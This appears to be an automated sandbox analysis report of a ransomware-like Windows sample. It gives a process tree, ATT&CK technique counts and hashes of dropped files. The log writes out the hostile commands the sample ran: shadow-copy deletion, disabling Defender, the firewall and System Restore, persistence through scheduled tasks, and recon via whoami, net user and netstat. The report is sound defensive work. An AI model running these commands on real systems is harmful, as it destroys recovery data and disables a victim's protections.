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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2328
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe"3⤵PID:2788
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4740
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5836
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4872
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4420
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1232
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:264 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3332
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:608 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5752
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2568
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5240 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5936
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:480 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3316
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6040 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:2528
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4624
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4724
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2864
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4264
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3040
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4472
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2424
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4448
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a21855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4888
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4680
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C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exeC:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe1⤵PID:2040
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C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exeC:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_hyber.exe1⤵PID:1404
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4812
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 2e6e1483bcaa6df1a56c2ad8c1138cca389d287ab8da1ff5fe683f3b145b70f7
- MD5 291b746028756a72673b9664086e1066
- SHA1 4295c2fd8a01c3af8dab4eb54b92fd2cc0b37cd8
- SHA512 05262033da28322725ab558873b776fed11d1f26a7dbba7088b4132a208fc5a42abb0f89e6128a6870bf1f00c03ae6ba56e7e74198898026067bb95ea6f82755
- SSDEEP 1536:82Rveo0zwn1+7cRMa3EJp885FR8v8A0XtKkcON/EhczBcphCBJA8ezply9ueJzRR:8gvQzwnA81EgsFRa10XtKkcONsczBcpm
- TLSH T16D634A378B27FCC5677F3E80F05439920C84396B47B1A668FBC5099938A56C4EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 74160ad565bdd2b31392b07bfbbfde207d6b65647e7d4293751cc8ec51ffa11f
- MD5 9afa291a5b86f532618389a148a963c6
- SHA1 d7cd4f23377a6165702fa8606b321b6008a771b2
- SHA512 0514256015c98dd741e61d78e797f823973625d1e9074275f356749a6b83fa80216828d1734358fb0036497249e207c729586ce0680bb23389c10dde4f58c1c5
- SSDEEP 1536:c2Rveo0zwn1+7cRMa3EJp885FR8v8A0XtKkcON/EhczBcphCBJA8ezply9ueJzRo:cgvQzwnA81EgsFRa10XtKkcONsczBcph
- TLSH T16E633B378B27FCD1677F3E80F05429920C84396B47B1A668FBC509A93CA5584EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 245B
- SHA256 ad08fc192da50b972ae4efd29f686b00cc8ac271e33f876cf613825ae5469afd
- MD5 6cc7a97d54e2c9e709ad2fcd177365ac
- SHA1 27a60df217d1f3a21d7e1e576e733b7820536f68
- SHA512 22c4616c13db06750a02ab1b5adc60d689eb3daf9e9f4bb2fb0efddc2c3a57172c3bbf71975aa4878643a68328504ed2b23baef275ca70751fdf13d000ba176c
- TLSH T1A7D0A557714DC5690001513741F38D5DE5A644293B577E604965DD4D329089445F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 246B
- SHA256 8ff5a661f06c85d03105aeaaefc07ea92a86368a0e5b5e4bdf35d2c25c139ca4
- MD5 cb376803647b8255965670437b6c9812
- SHA1 9b0f2e071841779b9d7bb1963742e72e958cb953
- SHA512 d8111c0b14c3bdc33cf06a5ec20d805efb359db6edb364e0c1b3c098df57d238daf85fb779bfaa91be9de9e9ec5c0aa6f9e23269677780f746f8944df6a4942d
- TLSH T1EED0A597714DC5690001513B40F38D5DE6D744293F577E605965DD0E338085445F5543
- MD5 SHA1 SHA512 TLSH